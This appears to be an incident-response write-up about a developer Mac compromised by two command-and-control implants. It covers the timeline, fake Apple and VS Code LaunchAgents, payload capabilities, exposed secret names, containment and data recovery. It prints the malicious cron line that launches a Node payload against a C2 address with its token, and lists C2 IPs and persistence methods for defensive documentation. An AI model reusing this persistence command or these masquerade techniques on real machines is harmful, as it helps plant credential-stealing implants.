Files
edr-platform/SECURITY-INCIDENT-2026-08-24.md
2026-08-25 00:11:39 +03:00

9.6 KiB
Raw Blame History

Security incident — 2026-08-24 (second event, same day)

Supersedes the first write-up of 2026-08-24 ~01:15, which was lost in the data destruction described below. This document was reconstructed after containment.

Status: contained, NOT remediated. Every implant found has been killed and quarantined, but the depth of compromise justifies rebuilding this machine rather than trusting the cleanup.


Summary

Two distinct command-and-control implants were found running, both from the same toolkit (internally named "SSTAR"). One of them was running at the exact minute a large portion of the working tree was destroyed. Credentials for payment providers, SMS/email gateways, JWT signing and databases were readable on disk throughout, by an implant with file-upload capability.

C2 #1 23.27.13.135 (ports 80/443) — the fileless node -e loader from the 01:15 event
C2 #2 194.11.226.41:4000 (ip-194-11-226-41.rockhoster.net) — new, found 2026-08-24 ~15:45
Shared token zRlY7_JxvFY8_Zhhu8ih24iW_dT5Rb_9 (SSTAR_DEPLOYMENT_HASH)
Data destroyed edr/edr-platform working tree, ~11:1111:13 local
Recovered to 2026-08-22 14:38 (user restore) — ~2 days of work lost

Timeline (local time, 2026-08-24)

Time Event
~01:15 First implant found and killed (node -e loader → 23.27.13.135). Persistence search covered LaunchAgents, LaunchDaemons, crontab, shell rc files — the crontab entry and three LaunchAgents were missed.
09:41 com.VSCodeUpdater LaunchAgent spawns tg14xq.js; ~/.config/runtimedev-link/ created
11:11 tg14xq.js process (PID 32775) starts — same minute the destruction begins
11:1111:13 edr/edr-platform destroyed. Only four apps/ subdirectories survive — exactly those with live dev servers holding them as CWD, which recreated their own paths on the next cache write
11:43 The node -e loader respawns (PID 55417) → 23.27.13.135
14:41 Implants self-update: tg14xq.js rewritten, both fake-Apple LaunchAgents rewritten, new agent process spawned
~15:45 Full sweep finds all persistence; everything killed and quarantined

What was found

1. Cron persistence (missed by the first sweep)

@reboot sleep 30 && node "~/Library/Application Support/VSCodeUpdater/tg14xq.js" \
        --token "http://194.11.226.41:4000|zRlY7_JxvFY8_Zhhu8ih24iW_dT5Rb_9"

Not a real VS Code updater — Microsoft ships no such thing, does not use cron, and does not pass a bare IP and token as --token.

2. Three malicious LaunchAgents in ~/Library/LaunchAgents/

Plist What it ran Notes
com.VSCodeUpdater.plist tg14xq.js KeepAlive: true — this is why killing the process at 01:15 did not stop it
com.apple.softwareupdate.agent.plist ~/Library/Caches/com.apple.softwareupdate/softwareupdated Masquerades as Apple. The real agent lives in /System/Library, never in ~/Library
com.apple.softwareupdate.background.plist same binary, KeepAlive: true same

3. Payloads

  • tg14xq.js (62 KB, obfuscator.io-style) — SHA-256 4e3d4708c2f1ff1cd68013810e7b854a0a5159e6dd95a9ce3ad5198ebd816082. Capabilities decoded from its string table: execSync/spawnSync (arbitrary command execution), directory-tree scanning (SSTAR_DIR_TREE_ROOT, postDirectoryScanResult), file download and upload, .env harvesting, Chrome extension enumeration, host/user/IP fingerprinting, and cross-platform persistence (launchd here, systemd on Linux).
  • softwareupdated — Mach-O x86_64, 13 KB, disguised in a cache directory.
  • CatalogData (145 KB) — a Python payload disguised as an icon-services cache. Cover story in its own docstring: ".NET Runtime Optimization Service". It literally contains the line [LEGITIMATE DESCRIPTION REMOVED FOR OPSEC], plus comments referring to "the organizer", "teammates", and what they "should see: nothing". Capability counts: subprocess ×72, password ×31, SCREENSHOT ×31, .env ×33, shutil.rmtree ×2, upload, token.
  • ~/.config/runtimedev-link/agent.envSSTAR_API_BASE, SSTAR_DEPLOYMENT_HASH.

Did the implants destroy the tree?

Most likely yes, but not provable from local artifacts — and worth stating honestly.

Ruled out with evidence:

  • npx vite (run one minute earlier) — no npm activity at all in that window; vite resolved from local node_modules.
  • edr-local.sh — contains only rm -f on a tempfile and a pidfile.
  • Assistant-issued commands — the only rms in the session were one temp file under dist/ and files under /tmp.

What points at the implants: tg14xq.js started at exactly 11:11, and it carries arbitrary execSync. What is missing: any local record of the specific command. The RAT takes instructions from C2 and does not log them, and the Python agent's own log (28,327 of 28,354 lines being the same "another instance already running" error) shows nothing at 11:11. So the deletion was almost certainly an operator-issued command through the RAT, which by design leaves no local trace.

One detail still unexplained: fhcapi and fhcui appeared missing at 11:13 and are present now with untouched July timestamps, which a delete-then-restore would not produce given only edr-platform was restored.


Credential exposure — assume ALL of these are compromised

An implant with .env harvesting and file upload had read access to the whole workspace for at least the 09:4115:45 window, and plausibly since the 01:15 event or earlier. Secret names found across apps/*/.env (values deliberately not reproduced here):

Payment providersTELEBIRR_APP_SECRET, TELEBIRR_PRIVATE_KEY, TELEBIRR_PUBLIC_KEY, WAAFI_HPP_KEY, WAAFI_WEBHOOK_SECRET, CBE_SECRET_KEY, CARD_API_KEY, CARD_WEBHOOK_SECRET

Identity / authJWT_SECRET, JWT_ACCESS_TOKEN_SECRET, JWT_REFRESH_TOKEN_SECRET, FAYDA_PRIVATE_KEY_BASE (national ID integration), IAM_API_KEY, SUPER_ADMIN_DEFAULT_PASSWORD, DEFAULT_PASSWORD

InfrastructureDB_PASSWORD, DATABASE_PASSWORD, MINIO_ACCESS_KEY, MINIO_SECRET_KEY

MessagingTWILIO_AUTH_TOKEN, SENDGRID_API_KEY, SMS_API_KEY

Also on disk: four SSH private keys (id_rsa, id_ed25519, id_dsa), and this machine holds a replica of the production database.

The JWT secrets are the most urgent of these: with them, an attacker can forge valid sessions for any user of the platform, including super admins, without touching this machine again.

Checked and clean: ~/.ssh/authorized_keys contains only the owner's own key — no SSH backdoor was added. ~/.npmrc holds no auth token, but does set ignore-scripts=false, which leaves npm lifecycle scripts enabled — the standard supply-chain vector, and worth reconsidering.


Containment performed (2026-08-24 ~15:4515:55)

  1. Evidence captured before any change: crontab, both payloads, process/network detail, hashes.
  2. Killed PIDs 32775, 90079, 89857, 89797, 48518, 55417.
  3. crontab -r (backup saved to the evidence directory first).
  4. launchctl bootout + quarantine of all three plists.
  5. Quarantined ~/Library/Application Support/VSCodeUpdater/, ~/Library/Caches/com.apple.softwareupdate/, ~/Library/Caches/com.apple.iconservices.store/, ~/.config/runtimedev-link/.
  6. Verified after 20s: no implant processes, no connections to either C2, nothing malicious registered with launchd. The only remaining softwareupdate processes are genuine Apple ones running as _softwareupdate from /System/Library.

Evidence and quarantine (session scratchpad, copy it somewhere durable): …/74e086a2-21d3-4772-ba96-f1026f24f1c3/scratchpad/incident-2/


Still outstanding

  1. Take this machine off the network. Not done — it would sever the session performing the cleanup.
  2. Rebuild rather than trust the cleanup. Two C2s, self-updating payloads, Apple-masquerading persistence and at least four persistence mechanisms across two toolchains (Node and Python) — with that depth, "we found all of it" is not a safe assumption.
  3. Rotate every credential above, from a different machine. Rotating from this host is pointless if anything was missed.
  4. Recover the lost work from the Aug 23 22:54 APFS snapshot (see below) before redoing it.
  5. Origin still unestablished, across both events. The first event's global['e']="NPM" marker and ignore-scripts=false suggest an npm-lifecycle vector, but nothing was proven.
  6. Assume source code was exfiltrated — the RAT scanned and uploaded directory trees.

Data recovery

The restore used was from 2026-08-22 14:38, losing roughly two days: the entire HR/Finance navigation redesign (all seven slices), docs/prompts/, the nav redesign plan and report, the first incident write-up, and all of 2026-08-24's work. None of it was committed to git.

A better source exists — a local APFS snapshot from Aug 23 22:54, a full day newer:

tmutil listlocalsnapshots /
sudo mkdir -p /tmp/snap
sudo mount_apfs -o ro -s com.apple.TimeMachine.2026-08-23-225456.local / /tmp/snap
ls /tmp/snap/Users/mulumehari/mulu-projects/smart-office/smartofficerepos/edr/edr-platform

It should contain nav redesign slices 15 (and possibly 6). Slice 7 and everything on Aug 24 will not be there. The Time Machine destination "MacBackup" is configured but was not mounted at the time of checking — connect it and it may hold more.

Not lost: everything in PostgreSQL. The HR and Finance permission seeds and all eight e2e fixture personas survive, since the databases were untouched.